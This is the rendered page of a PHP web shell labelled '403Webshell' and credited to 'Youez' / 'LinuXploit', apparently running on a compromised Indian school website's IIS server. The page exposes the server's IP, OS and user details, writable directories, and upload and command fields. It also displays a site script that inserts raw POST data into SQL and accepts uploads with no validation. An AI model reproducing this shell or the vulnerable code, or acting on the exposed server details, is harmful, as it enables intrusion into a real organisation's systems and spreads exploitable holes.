403Webshell
Server IP : 199.79.63.27  /  Your IP : 216.73.216.250
Web Server : Microsoft-IIS/10.0
System : Windows NT MD-PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_6698(lcitec7i) ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/INETPUB/VHOSTS/lcit.edu.in/lcitps.edu.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/INETPUB/VHOSTS/lcit.edu.in/lcitps.edu.in//insert-tc.php
    <?php
include 'db.php';


$stud_name = $_POST['stud_name'];
$stud_class = $_POST['stud_class'];
$admissionNo = $_POST['admissionNo'];
// Get current year
$year = date("Y");

$target_dir = "tc/";
$target_file = $target_dir . basename($_FILES["tc"]["name"]);

if (move_uploaded_file($_FILES["tc"]["tmp_name"], $target_file)) {
    $sql = "INSERT INTO transfercertificate (stud_name, stud_class, admissionNo, tc, year)
            VALUES ('$stud_name', '$stud_class', '$admissionNo', '$target_file', '$year')";

    if ($conn->query($sql) === TRUE) {
        echo "Data inserted successfully!";
		header("Location: add-new-tc.php");

    } else {
        echo "Error: " . $conn->error;
    }
} else {
    echo "File upload failed.";
}

$conn->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit